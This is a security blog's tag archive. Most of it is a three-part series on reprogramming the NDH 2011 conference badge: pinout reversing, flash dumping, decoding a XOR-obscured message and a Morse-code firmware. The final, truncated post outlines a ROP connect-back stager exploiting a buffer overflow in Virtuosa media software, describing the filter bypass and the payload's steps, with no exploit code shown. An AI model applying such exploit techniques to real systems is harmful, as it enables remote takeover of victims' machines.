Affichage des articles dont le libellé est ndh2011. Afficher tous les articles
Affichage des articles dont le libellé est ndh2011. Afficher tous les articles

mercredi 6 juillet 2011

[EN] NDH 2011 badge hacking part 3 : Let's code!

Hello folks!

Here is the final part of my NDH 2011 Badge Hacking serie.
We know how to plug it, read it ... how about we write in it now?

Pre-requisites

As you could see from the first post about the pinout, there are PORTA, PORTB and PORTD.
These are defines in AVR C headers that allows you to set those corresponding ports.
Setting one of the bits of a PORT would set the corresponding PIN to high or 1. Basically if you set bit 6 (we are counting from 0), you will switch on LED 5.

On tixlegeek's blog, you should also have seen DDRB and DDRD. These sets the pins as inputs or outputs. Setting a bit to 1 set the corresponding pin as an output and 0 as an input.

LED stand for "Light Emiting Diode" for those who do not know. And Diodes are component that allow the current to flow in only one direction (not speaking about the Zener diode though).

And last thing but not the least, do not forget that we are coding on a micro-controller so we have a limited amount of space (either in RAM, ROM, etc), limited amount of processing power, well limited resources.
Taking that into account, you will see some "ugly hacks" to go around problems such as RAM exhaustion like you will see in my example program.

So what can you do with such a small micro-controller?

To be simple, a micro-controller is a chip with very limited resources or a component integrating multiple functionnalities in one chip: video, audio, CPU, image processing, etc.

A micro-controller can be used as a control device, smalls robotics or mapping LEDs to boards, etc.

In this case, the badge only have 7 LEDs for outputs and not inputs but the programming of the badge.
You are only limited by your creativity (and resources).

You could do those for example:
- small animations from right to left, left to right, etc
- counting
- sending data (you would need a receiver though)
- showing a dump from a network capture for example
- etc
Yeah pretty much anything you can represent with 7 LEDs, 7 bits, etc.
But to tell the truth, yeah you can't code much stuffs on it :p.

I decided to code a morse code emitter :).
But first, let's see the original code.

Original firmware

Here what the original firmware is:

//B1 B0 D6 D5 D4 D3 D2
/*
** Compiler Include Directives
*/
#define F_CPU 8000000
#include <avr/io.h>
#include <util/delay.h>

void copy2array(char value);
int main(void)
{
 char EasterMSG[]="Nothing there N00b!";
 char CHALL[]={0x62,0x4f,0x46,0x46,0x45,0xa,0x7d,0x45,0x58,0x46,0x4e,0xa,0x65,0x4c,0xa,0x64,0x6e,0x62,0x18,0x61,0x1b,0x1b, 0x00}, *challptr=CHALL, i=0;
 PORTB=EasterMSG[72];
 DDRD=0xff;
 DDRB=0xff;
 while(1==1)
 {
  i=0;
  while(*(CHALL+i))
  {
   copy2array(*(CHALL+i));
   _delay_ms(4000);
   i++;
  }

 }
}

void copy2array(char value)
{
 char byte=0;
  PORTB=0;
  PORTD=0;
  PORTB |= (((value^42)&_BV(0))?_BV(1):0);
  PORTB |= (((value^42)&_BV(1))?_BV(0):0);
  PORTD |= (((value^42)&_BV(2))?_BV(6):0);
  PORTD |= (((value^42)&_BV(3))?_BV(5):0);
  PORTD |= (((value^42)&_BV(4))?_BV(4):0);
  PORTD |= (((value^42)&_BV(5))?_BV(3):0);
  PORTD |= (((value^42)&_BV(6))?_BV(2):0);
}

For the most attentive people, you must have spotted the buggy code:
void copy2array(char value)
{
 char byte=0;
  PORTB=0;
  PORTD=0;
  PORTB |= (((value^42)&_BV(0))?_BV(1):0);
  PORTB |= (((value^42)&_BV(1))?_BV(0):0);
  PORTD |= (((value^42)&_BV(2))?_BV(6):0);
  PORTD |= (((value^42)&_BV(3))?_BV(5):0);
  PORTD |= (((value^42)&_BV(4))?_BV(4):0);
  PORTD |= (((value^42)&_BV(5))?_BV(3):0);
  PORTD |= (((value^42)&_BV(6))?_BV(2):0);
}

If you recall the full pinout:
-------------------------
|          PORTD        |
-------------------------
|   PIND0   |   RX      |
|   PIND1   |   TX      |
|   PIND2   |   D4      |
|   PIND3   |   D3      |
|   PIND4   |   D2      |
|   PIND5   |   D1      |
|   PIND6   |   D5      |
-------------------------
|          PORTB        |
-------------------------
|   PINB0   |   D6      |
|   PINB1   |   D7      |
|   PINB2   |   NC      |
|   PINB3   |   NC      |
|   PINB4   |   NC      |
|   PINB5   |   MOSI    |
|   PINB6   |   MISO    |
|   PINB7   |   SCK     |
-------------------------
|          PORTA        |
-------------------------
|   PINA0   |   NC      |
|   PINA1   |   NC      |
|   PINA2   |   RESET   |
-------------------------

Then after fixing the code you get this:
void copy2array(char value)
{
 char byte=0;
  PORTB=0;
  PORTD=0;
  PORTD |= (((value^42)&_BV(0))?_BV(5):0);
  PORTD |= (((value^42)&_BV(1))?_BV(4):0);
  PORTD |= (((value^42)&_BV(2))?_BV(3):0);
  PORTD |= (((value^42)&_BV(3))?_BV(2):0);
  PORTD |= (((value^42)&_BV(4))?_BV(6):0);
  PORTB |= (((value^42)&_BV(5))?_BV(0):0);
  PORTB |= (((value^42)&_BV(6))?_BV(1):0);
}

Ok now, let's go on with Morse code :).

Let's code: Morse code

Here is my "firmware" to do morse code:

// @author  : m_101
// @license : beerware
// @year    : 2011
// @program : Do morse code on leds of NDH 2011 badge

// standard libraries
#include <ctype.h>
#include <string.h>

// avr specific libraries
#define F_CPU 1000000
#include <avr/io.h>
#include <avr/pgmspace.h>
#include <util/delay.h>

// defines for turning on a single led at a time
#define D1_ON()     PORTD |= _BV(5)
#define D2_ON()     PORTD |= _BV(4)
#define D3_ON()     PORTD |= _BV(3)
#define D4_ON()     PORTD |= _BV(2)
#define D5_ON()     PORTD |= _BV(6)
#define D6_ON()     PORTB |= _BV(0)
#define D7_ON()     PORTB |= _BV(1)

// defines for turning off a single led at a time
#define D1_OFF()    PORTD &= ~_BV(5)
#define D2_OFF()    PORTD &= ~_BV(4)
#define D3_OFF()    PORTD &= ~_BV(3)
#define D4_OFF()    PORTD &= ~_BV(2)
#define D5_OFF()    PORTD &= ~_BV(6)
#define D6_OFF()    PORTB &= ~_BV(0)
#define D7_OFF()    PORTB &= ~_BV(1)

// morse code duration (international standard)
#define DOT_DURATION        200
#define DASH_DURATION       3*DOT_DURATION
#define INTERGAP_DURATION   DOT_DURATION
#define GAP_LETTERS         3*DOT_DURATION
#define GAP_WORDS           7*DOT_DURATION

void leds_morse(char value);

// turn off the leds
#define leds_off()      \
            PORTB = 0;  \
            PORTD = 0

// put morse table in program space (not enough RAM)
// international morse code
// letters
char morse_A[] PROGMEM = ".-";
char morse_B[] PROGMEM = "-...";
char morse_C[] PROGMEM = "-.-.";
char morse_D[] PROGMEM = "-..";
char morse_E[] PROGMEM = ".";
char morse_F[] PROGMEM = "..-.";
char morse_G[] PROGMEM = "--.";
char morse_H[] PROGMEM = "....";
char morse_I[] PROGMEM = "..";
char morse_J[] PROGMEM = ".---";
char morse_K[] PROGMEM = "-.-";
char morse_L[] PROGMEM = ".-..";
char morse_M[] PROGMEM = "--";
char morse_N[] PROGMEM = "-.";
char morse_O[] PROGMEM = "---";
char morse_P[] PROGMEM = ".--.";
char morse_Q[] PROGMEM = "--.-";
char morse_R[] PROGMEM = ".-.";
char morse_S[] PROGMEM = "...";
char morse_T[] PROGMEM = "-";
char morse_U[] PROGMEM = "..-";
char morse_V[] PROGMEM = "...-";
char morse_W[] PROGMEM = ".--";
char morse_X[] PROGMEM = "-..-";
char morse_Y[] PROGMEM = "-.--";
char morse_Z[] PROGMEM = "--..";
// digits
char morse_0[] PROGMEM = "-----";
char morse_1[] PROGMEM = ".----";
char morse_2[] PROGMEM = "..---";
char morse_3[] PROGMEM = "...--";
char morse_4[] PROGMEM = "....-";
char morse_5[] PROGMEM = ".....";
char morse_6[] PROGMEM = "-....";
char morse_7[] PROGMEM = "--...";
char morse_8[] PROGMEM = "---..";
char morse_9[] PROGMEM = "----.";
// conversion table
PGM_P code[] PROGMEM = {
    // A ... M
    morse_A, morse_B, morse_C, morse_D, morse_E, morse_F, morse_G, morse_H,
    morse_I, morse_J, morse_K, morse_L, morse_M, 
    // N ... Z
    morse_N, morse_O, morse_P, morse_Q, morse_R, morse_S, morse_T, morse_U,
    morse_V, morse_W, morse_X, morse_Y, morse_Z,
    // 0 .. 9
    morse_0, morse_1, morse_2, morse_3, morse_4, morse_5, morse_6, morse_7,
    morse_8, morse_9 
};

// get index in morse code table
int tomorse_idx (char value) {
    int idx = -1;

    if (isalpha(value))
        idx = (toupper(value) - 'A') % 26;
    else if (isdigit(value))
        idx = (value - '0') % 10 + 26;

    return idx;
}

int main (void) {
    // message to show and its index
    char idxMsg;
    char msg[] = "Hello World For NDH 2011";
    // morse code and its index
    char idxMorse;
    char morse[8] = {0};
    // index in morse conversion table
    char idxCode;    

    // init port B and D data direction as outputs
    DDRD = 0xff;
    DDRB = 0xff;

    // init PORTS
    PORTB = 0;
    PORTD = 0;

    // repeat message
    while(1) {
        idxMsg = 0;

        // print string while not ended
        while(*(msg+idxMsg)) {
            idxMorse = 0;

            // morse code index
            idxCode = tomorse_idx(*(msg+idxMsg));

            // ensure cleaning of the local buffer
            memset(morse, 0, sizeof(morse));

            // put code in RAM if got a correct idx
            if (idxCode >= 0 && idxCode < 36)                
                strcpy_P(morse, (PGM_P)pgm_read_word(&(code[idxCode])));

            // parse morse code
            while(*(morse+idxMorse)) {
                // led show morse code
                leds_morse(*(morse+idxMorse));

                // inter-gap between dots and dashes
                leds_off();
                _delay_ms(INTERGAP_DURATION);

                // next morse symbol
                idxMorse++;
            }

            // blank
            leds_off();
            // gap between letters
            if (isalnum(*(msg+idxMsg)))
                _delay_ms(GAP_LETTERS);
            // gap between words
            else
                _delay_ms(GAP_WORDS);

            idxMsg++;
        }
    }
}

// turn on leds for morse code
void leds_morse(char value) {
    // init PORTS
    PORTB = 0;
    PORTD = 0;

    // "long press"
    if (value == '-') {
        D1_ON();
        D2_ON();
        D3_ON();
        D4_ON();
        D5_ON();
        D6_ON();
        D7_ON();
        _delay_ms(DASH_DURATION);
    }
    // "short press"
    else if (value == '.') {
        D3_ON();
        D4_ON();
        D5_ON();
        _delay_ms(DOT_DURATION);
    }
}

The AVR chip is set to work at 1Mhz :).

I guess it is a bit more readable concerning switching ON or OFF a specific LED.

You must have seen the weird way of creating the string table and using it. We basically only have 128 bytes of RAM, the string tables would thus obviously not fit in it completely (with other local variables in a function). We thus force the compiler to put our string table in program space and copy the corresponding morse sequence to a local buffer before using it.

The code is well commented (too much commented? :)) so you would not have any problems reading it. If you were to spot any bugs, do not hesitate to send me a patch ;).

As an exercise to the reader, I let you modify the code so that it directly turns on the LED given a morse code sequence.

Here is a small utility to convert an ASCII string to morse code:

// @author  : m_101
// @license : beerware
// @year    : 2011
// @program : Convert ASCII string to Morse code sequence

#include <stdio.h>
#include <stdlib.h>

char* tomorse (char value) {
    char *code[] = {
        // A ... M
        ".-", "-...", "-.-.", "-..", ".", "..-.", "--.", "....", "..", ".---", "-.-", ".-..", "--",
        // N ... Z
        "-.", "---", ".--.", "--.-", ".-.", "...", "-", "..-", "...-", ".--", "-..-", "-.--", "--..",
        // 0 .. 9
        "-----", ".----", "..---", "...--", "....-", ".....", "-....", "--...", "---..", "----."
    };
    int idx;

    if (isalpha(value)) {
        idx = (toupper(value) - 'A') % 26;
        return code[idx];
    }
    else if (isdigit(value)) {
        idx = (value - '0') % 10 + 26;
        return code[idx];
    }

    return " ";
}

int main (int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s str\n", argv[0]);
        return 0;
    }

    while (*argv[1]) {
        printf("%s ", tomorse(*argv[1]));
        argv[1]++;
    }
    putchar('\n');

    return 0;
}

Play with it,


$ avr-gcc -Os -g -Wall -I.  -mmcu=attiny2313 -c -o badge_morse.o badge_morse.c
badge_morse.c: In function 'main':
badge_morse.c:145: warning: array subscript has type 'char'
$ avr-gcc -g -mmcu=attiny2313 -o badge_morse.elf badge_morse.o
$ avr-objcopy -j .text -j .data -O ihex badge_morse.elf badge_morse.hex
$ sudo avrdude -c usbasp -p attiny2313 -U flash:w:badge_morse.hex -v

avrdude: Version 5.10, compiled on Jun 29 2010 at 21:09:48
         Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
         Copyright (c) 2007-2009 Joerg Wunsch

         System wide configuration file is "/etc/avrdude.conf"
         User configuration file is "/home/kurapix/.avrduderc"
         User configuration file does not exist or is not a regular file, skipping

         Using Port                    : /dev/parport0
         Using Programmer              : usbasp
         AVR Part                      : ATtiny2313
         Chip Erase delay              : 9000 us
         PAGEL                         : PD4
         BS2                           : PD6
         RESET disposition             : possible i/o
         RETRY pulse                   : SCK
         serial program mode           : yes
         parallel program mode         : yes
         Timeout                       : 200
         StabDelay                     : 100
         CmdexeDelay                   : 25
         SyncLoops                     : 32
         ByteDelay                     : 0
         PollIndex                     : 3
         PollValue                     : 0x53
         Memory Detail                 :

                                  Block Poll               Page                       Polled
           Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW  MaxW   ReadBack
           ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
           eeprom        65     6     4    0 no        128    4      0  4000  4500 0xff 0xff
           flash         65     6    32    0 yes      2048   32     64  4500  4500 0xff 0xff
           signature      0     0     0    0 no          3    0      0     0     0 0x00 0x00
           lock           0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
           lfuse          0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
           hfuse          0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
           efuse          0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
           calibration    0     0     0    0 no          2    0      0     0     0 0x00 0x00

         Programmer Type : usbasp
         Description     : USBasp, http://www.fischl.de/usbasp/

avrdude: auto set sck period (because given equals null)
avrdude: warning: cannot set sck period. please check for usbasp firmware update.
avrdude: AVR device initialized and ready to accept instructions

Reading | ################################################## | 100% 0.01s

avrdude: Device signature = 0x1e910a
avrdude: safemode: lfuse reads as 64
avrdude: safemode: hfuse reads as DF
avrdude: safemode: efuse reads as FF
avrdude: NOTE: FLASH memory has been specified, an erase cycle will be performed
         To disable this feature, specify the -D option.
avrdude: erasing chip
avrdude: auto set sck period (because given equals null)
avrdude: warning: cannot set sck period. please check for usbasp firmware update.
avrdude: reading input file "badge_morse.hex"
avrdude: input file badge_morse.hex auto detected as Intel Hex
avrdude: writing flash (898 bytes):

Writing | ################################################## | 100% 0.63s



avrdude: 898 bytes of flash written
avrdude: verifying flash memory against badge_morse.hex:
avrdude: load data flash data from input file badge_morse.hex:
avrdude: input file badge_morse.hex auto detected as Intel Hex
avrdude: input file badge_morse.hex contains 898 bytes
avrdude: reading on-chip flash data:

Reading | ################################################## | 100% 0.48s



avrdude: verifying ...
avrdude: 898 bytes of flash verified

avrdude: safemode: lfuse reads as 64
avrdude: safemode: hfuse reads as DF
avrdude: safemode: efuse reads as FF
avrdude: safemode: Fuses OK

avrdude done.  Thank you.

Conclusion

As you could see, with little imagination and work, you can achieve interesting and fun stuffs. We now know how to plug it, read it, write in/program it, hell yeah we mastered it ;).

Just a last message for those who got a NDH Badge 2011: Do you know that not all speakers/challengers/etc got to have one (I got really lucky, I almost did not get one)? By the way, a looot of people will not even play with it. Damn, if you take it, play with it! It is not just to look pretty (people put work into making them).

Hope you enjoyed it,

Have fun,

Cheers,

m_101

Resources: 
Morse code
[NDH2K11] Badges hackable!
NDH2K11's Badge: Spec. & hackz
NDH2K11's Badge: PROGRAMMATIONNNNNN!!!!
- Manual of avrdude

- AVR 8-bit Instruction Set
- AVR Programming
- AVR GCC Tutorial (1) – Basic I/O Operations
AVR : Tutorial 2 : AVR – Input / Output
- AVR GCC FAQ
Program Space

[EN] NDH 2011 badge hacking part 2 : What is the message?

Hello!

Now you should have a nice working cable.
Today we are going to get the message.

Dumping the flash

We can look into the chip memory using avrdude terminal mode:
$ sudo avrdude -c usbasp -p attiny2313 -t

avrdude: warning: cannot set sck period. please check for usbasp firmware update.
avrdude: AVR device initialized and ready to accept instructions

Reading | ################################################## | 100% 0.01s

avrdude: Device signature = 0x1e910a
avrdude> dump flash 0 512
>>> dump flash 0 512 
0000  12 c0 22 c0 21 c0 20 c0  1f c0 1e c0 1d c0 1c c0  |..".!. .........|
0010  1b c0 1a c0 19 c0 18 c0  17 c0 16 c0 15 c0 14 c0  |................|
0020  13 c0 12 c0 11 c0 11 24  1f be cf ed cd bf 10 e0  |.......$........|
0030  a0 e6 b0 e0 e8 e4 f1 e0  02 c0 05 90 0d 92 ac 38  |............ ..8|
0040  b1 07 d9 f7 3c d0 7e c0  db cf 18 ba 12 ba 98 b3  |....<.~.........|
0050  3a e2 38 27 43 2f 50 e0  30 fd 02 c0 80 e0 01 c0  |:.8'C/P.0.......|
0060  82 e0 89 2b 88 bb 28 b3  ca 01 96 95 87 95 81 70  |...+..(........p|
0070  82 2b 88 bb 92 b3 42 fd  02 c0 80 e0 01 c0 80 e4  |.+....B.........|
0080  89 2b 82 bb 92 b3 43 fd  02 c0 80 e0 01 c0 80 e2  |.+....C.........|
0090  89 2b 82 bb 82 b3 30 71  38 2b 32 bb 92 b3 45 fd  |.+....0q8+2...E.|
00a0  02 c0 80 e0 01 c0 88 e0  89 2b 82 bb 92 b3 46 fd  |.........+....F.|
00b0  02 c0 80 e0 01 c0 84 e0  89 2b 82 bb 08 95 cf 92  |.........+......|
00c0  df 92 ef 92 ff 92 1f 93  df 93 cf 93 cd b7 de b7  |................|
00d0  ab 97 0f b6 f8 94 de bf  0f be cd bf de 01 11 96  |................|
00e0  e0 e6 f0 e0 84 e1 01 90  0d 92 81 50 e1 f7 9b 81  |........ ..P....|
00f0  de 01 55 96 e4 e7 f0 e0  87 e1 01 90 0d 92 81 50  |..U......... ..P|
0100  e1 f7 8f ef 81 bb 87 bb  98 bb 90 e0 75 e1 c7 2e  |............u...|
0110  d1 2c cc 0e dd 1e 68 ec  e6 2e f1 2c 0a c0 95 df  |.,....h...., ...|
0120  80 e9 91 e0 f7 01 31 97  f1 f7 01 97 d9 f7 91 2f  |......1......../|
0130  9f 5f f6 01 e9 0f f1 1d  80 81 19 2f 90 e0 88 23  |._........./...#|
0140  c1 f3 ed cf f8 94 ff cf  4e 6f 74 68 69 6e 67 20  |........Nothing |
0150  74 68 65 72 65 20 4e 30  30 62 21 00 62 4f 46 46  |there N00b!.bOFF|
0160  45 0a 7d 45 58 46 4e 0a  4c 45 58 0a 64 6e 62 18  |E }EXFN LEX dnb.|
0170  61 1b 1b 00 ff ff ff ff  ff ff ff ff ff ff ff ff  |a...............|
0180  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
0190  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
01a0  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
01b0  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
01c0  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
01d0  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
01e0  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
01f0  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|

avrdude>

We don't see any "clear" interesting string for our purpose. Maybe it is obfuscated.

We are going to dump it to a file for backup purposes:

$ sudo avrdude -c usbasp -p attiny2313 -n -U flash:r:dump.hex:i -v

avrdude: Version 5.10, compiled on Jun 29 2010 at 21:09:48
         Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
         Copyright (c) 2007-2009 Joerg Wunsch

         System wide configuration file is "/etc/avrdude.conf"
         User configuration file is "/home/m_101/.avrduderc"
         User configuration file does not exist or is not a regular file, skipping

         Using Port                    : /dev/parport0
         Using Programmer              : usbasp
         AVR Part                      : ATtiny2313
         Chip Erase delay              : 9000 us
         PAGEL                         : PD4
         BS2                           : PD6
         RESET disposition             : possible i/o
         RETRY pulse                   : SCK
         serial program mode           : yes
         parallel program mode         : yes
         Timeout                       : 200
         StabDelay                     : 100
         CmdexeDelay                   : 25
         SyncLoops                     : 32
         ByteDelay                     : 0
         PollIndex                     : 3
         PollValue                     : 0x53
         Memory Detail                 :

                                  Block Poll               Page                       Polled
           Memory Type Mode Delay Size  Indx Paged  Size   Size #Pages MinW  MaxW   ReadBack
           ----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
           eeprom        65     6     4    0 no        128    4      0  4000  4500 0xff 0xff
           flash         65     6    32    0 yes      2048   32     64  4500  4500 0xff 0xff
           signature      0     0     0    0 no          3    0      0     0     0 0x00 0x00
           lock           0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
           lfuse          0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
           hfuse          0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
           efuse          0     0     0    0 no          1    0      0  9000  9000 0x00 0x00
           calibration    0     0     0    0 no          2    0      0     0     0 0x00 0x00

         Programmer Type : usbasp
         Description     : USBasp, http://www.fischl.de/usbasp/

avrdude: auto set sck period (because given equals null)
avrdude: warning: cannot set sck period. please check for usbasp firmware update.
avrdude: AVR device initialized and ready to accept instructions

Reading | ################################################## | 100% 0.01s

avrdude: Device signature = 0x1e910a
avrdude: safemode: lfuse reads as 64
avrdude: safemode: hfuse reads as DF
avrdude: safemode: efuse reads as FF
avrdude: reading flash memory:

Reading | ################################################## | 100% 1.10s



avrdude: writing output file "dump.hex"

avrdude: safemode: lfuse reads as 64
avrdude: safemode: hfuse reads as DF
avrdude: safemode: efuse reads as FF
avrdude: safemode: Fuses OK

avrdude done.  Thank you.

Now we dumped the flash.

Getting the message

In the previous dumped firmware we could see the following strings:
- "Nothing there N00b!"
- "bOFFE }EXFN LEX dnb\x18a\x1b\x1b"

I wrote a quick hack to see if we got any "usual" obfuscation scheme such as caesar or XOR were used:
// @author  : m_101
// @license : beerware
// @year    : 2011
// @program : "Bruteforce" caesar and XOR
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

// caesar
char *caesar (char *str, const int len, const unsigned int key) {
    int idxStr, rkey, c;
    char *cryptext;

    // allocate cryptext
    cryptext = calloc(len, sizeof(*cryptext));
    if (!cryptext)
        return NULL;

    //
    rkey = key % 26;

    for (idxStr = 0; idxStr < len; idxStr++) {
        /*
        if (!isalpha(str[idxStr])) {
            free(cryptext);
            return NULL;
        }
        //*/
        c = toupper(str[idxStr]) + key;
        /*
        if (c > 'Z')
            c -= 26;
        else if (c < 'A')
            c += 26;
        //*/
        cryptext[idxStr] = c;
    }

    return cryptext;
}

#define BUFSIZE     1024

void bf_caesar (char *str, const int len) {
    int key;
    char *cryptext;
    //
    char filename[1024];
    FILE *fp = NULL;

    if (!str || !len) {
        printf("Bad string\n");
        return;
    }

    if (strlen(str) != len) {
        printf("Bad length\n");
        return;
    }

    for (key = 1; key <= 255; key++) {
        cryptext = caesar(str, len, key);
        if (cryptext) {
            // generate filename
            snprintf(filename, BUFSIZE, "%s-%02d", "caesar", key);
            // write to file
            /*
            fp = fopen(filename, "w");
            if (fp) {
                fwrite(cryptext, sizeof(*cryptext), len, fp);
                fclose(fp);
            }
            //*/
            
            // print to console
            printf("%02d : %s\n\n", key,  cryptext);
            free(cryptext);
        }
    }
}

void bf_xor (char *str, const int len) {
    int key;
    int c;
    int idxStr;
    //
    char filename[1024];
    FILE *fp = NULL;

    if (!str || !len) {
        printf("Bad string\n");
        return;
    }

    if (strlen(str) != len) {
        printf("Bad length\n");
        return;
    }

    for (key = 1; key <= 255; key++) {
        printf("%02d : ", key);
        // generate filename
        snprintf(filename, BUFSIZE, "%s-%02d", "xor", key);
        // fp = fopen(filename, "w");
        for (idxStr = 0; idxStr < len; idxStr++) {
            c = str[idxStr] ^ key;
            putchar(c);
            // write to file
            /*
            if (fp)
                fwrite(&c, sizeof(*str), 1, fp);
            //*/
        }
        putchar('\n');

        if (fp)            
            fclose(fp);
    }
}

int main (int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s str\n", argv[0]);
        return 1;
    }

    printf("Bruteforce Caesar:\n");
    bf_caesar(argv[1], strlen(argv[1]));

    printf("\nBruteforce XOR:\n");
    bf_xor(argv[1], strlen(argv[1])); 

    return 0;
}

As you could see, for caesar I did not bother to do a rotating scheme as usual but a stupid and simple shifting.

I managed to get 2 messages:
Hello\nWorld\nFor\nNDH
hELLO*wORLD*FOR*ndh
Done.

There was another way to get the message using a video camera to capture the leds sequence and decode it manually of using image processing techniques.
I did not want to do that so I did not do it ... have fun for the courageous ones ;).

You could also use IDA Pro (or any compatible disassembler) to reverse the ASM code from the dumped firmware. I did not want to spend too much time on it so I skipped it. If you want to do it, here is the documentation: AVR 8-bit Instruction Set

Next I will show you an example of programming the chip.

Cheers,

m_101

Resources:
[NDH2K11] Badges hackable!
NDH2K11's Badge: Spec. & hackz
NDH2K11's Badge: PROGRAMMATIONNNNNN!!!!
- Manual of avrdude
- AVR 8-bit Instruction Set

jeudi 30 juin 2011

[EN] NDH 2011 badge hacking part 1 : Pinout reversing

* UPDATED (6 July 2011) *:
- Fixed links (ATMEL documentation)
- Added section on full pinout


Hello!

Today we are going to do some "hardware" hacking (if we can call it like that ...). Yes, NDH badge hacking :D.
I do not have any real knowledge in electronics but it should be enough to pawn it.

The thing I am the most amazed with is that nobody wrote an article about it but the creator of the badge (tixlegeek) ...

Let's fix that!

The situation

First of all, I could not not find the pinout on Tix's Le Geek blog so I had to "reverse" it.
It is because I have the following programmer (a version of USBasp):



So the cable is a 2x5 pin ICSP AVR.

We want to have something clean so we are going to use a BUS cable:


As well as small clips:



To plug it into a small socket:


To set up the clips, you need to use a flat-nosed plier like this:


For reversing the pinout you could also use wires and a breadboard (I don't have a breadboard ... or any electronic stuffs ^^"):


Don't forget your NDH badge!


In the end you should have all those:


Reversing the pinout

Ok for the pinout you could try to find VCC and GND first with a multimeter and then the other ports. As I do not have any electronic equipment I haven't tried that.

But here what was my idea with the wires :


Yeah, try to craft kind of a hook or something and plug the other part to a breadboard and test it.


 luckily there is another way to find out about the pinout:



Yes just looking at the chip documentation you could find the pinout.
Anyway for the chip, looking close enough you could see its reference:
ATMEL 1114
ATTINY2313V-10SU

Done we have the pinout.
Just have to make the cable ;).

The pinout

Badge NDH
-------------------------------------------------
    |       |       |       |       |       |
   RST    MOSI    MISO     SCK     VCC      GND


Port 2x5 ping AVR ICSP

    1           3         5           7          9
---------------------------------------------------------
|   MOSI    |   NC  |   RESET   |   SCK     |   MISO    |
---------------------------------------------------------
|   VCC     |   GND |   GND     |   GND     |   GND     |
---------------------------------------------------------
    2           4         6           8          10

Do the pinout and then we're in business :).

Full pinout

Just in case people might find this useful:
-------------------------
|          PORTD        |
-------------------------
|   PIND0   |   RX      |
|   PIND1   |   TX      |
|   PIND2   |   D4      |
|   PIND3   |   D3      |
|   PIND4   |   D2      |
|   PIND5   |   D1      |
|   PIND6   |   D5      |
-------------------------
|          PORTB        |
-------------------------
|   PINB0   |   D6      |
|   PINB1   |   D7      |
|   PINB2   |   NC      |
|   PINB3   |   NC      |
|   PINB4   |   NC      |
|   PINB5   |   MOSI    |
|   PINB6   |   MISO    |
|   PINB7   |   SCK     |
-------------------------
|          PORTA        |
-------------------------
|   PINA0   |   NC      |
|   PINA1   |   NC      |
|   PINA2   |   RESET   |
-------------------------

It is evident that you need to read the documentation to understand that table: the chip documentation.

Conclusion

With a bit of curiosity, it was possible to find out about the pinout fairly easily.
As I miscounted  the AVR ICSP pinout ... my cable is not right, so the software part is going to be for another day ;).

Cheers,

m_101

Resources:
[NDH2K11] Badges hackable!
NDH2K11's Badge: Spec. & hackz
NDH2K11's Badge: PROGRAMMATIONNNNNN!!!!
- ATTiny2313 documentation

jeudi 23 juin 2011

[NDH2011] Demo: Virtuosa full ROP connectback stager

Hello everyone!

This post will be about my demo I prepared for my talk at the NDH2011. As you know, it failed! It was due to some metasploit depency problem (I checked and netcat receive the connection from the VM).

Introduction

The following ROP sploit was based on the following exploit: Virtuosa Phoenix Edition 5.2 ASX SEH BOF.
Basically, if we have a href which is too long, we trigger a SEH BOF.
The problem is that it has a character filter, all UPPER are converted to LOWER and all LOWER near a special character such as " -;,\\/" (without the quotes) will get converted to an UPPER character.
Basically, it forbids all existing encoders, even alpha 2!
There are 2 solutions to bypass this restrictive filter: either code an lower encoder or use a ROP payload. I chose the second solution as I haven't seen any public exploit using a full ROP payload.

I won't explain how to exploit a SEH BOF since it has been explained many times, the interesting part here will be about the ROP techniques used. I will explain techniques but I won't go through the code as it is already heavily commented (if you still don't understand it, don't hesitate to ask).

Just so you know, it is not for the faint of heart, it really is not an easy task, it mostly takes a LOT of time.

The filter

The character filter looked a lot like the following C code:
char* filter_badchar (char *str, size_t len) {
    size_t sz;
    char c;

    for (sz = 0; sz < len; sz++) {
        c = str[sz];
        if (c == ' ' || c == ';' || c == '-' || c == '\\' || c == '/' || c == '-') {
            if (str[sz+1] >= 'a' && str[sz+1] <= 'z')
                str[sz+1] = str[sz+1] - 0x20;
        }
        else if (str[sz+1] >= 'A' && str[sz+1] <= 'Z')
            str[sz+1] = str[sz+1] + 0x20;
    }

    return str;
}

You either bypass it using an encoder or a ROP payload.

The payload

I had multiple prerequisites for my payload to satisfy me:
- bypass firewalls
- bypass NAT
- be flexible as to the stuffs I can do
- full ROP
So basically, I was requesting for a connectback stager.

So my payload do the following:
- copy ROP stack to a static zone (so it easier to fix arguments and such)
- allocate RWX memory: HeapCreate() + HeapAlloc()
- initialize socket
- connect back to host (attacker machine)
- receive payload in allocated memory
- execute payload

If the connection fail in some ways, the exploit will fail, there is no backup or infinite loop for trying (even though it could be implemented using ROP tricks). There are multiple problem to be solved before getting to our ROP payload: we need to construct it. Effectively, there is import resolution, string tables fixing, address fixing, arguments fixing. The goal is to get to avoid bad chars as well.

The ROP Stack

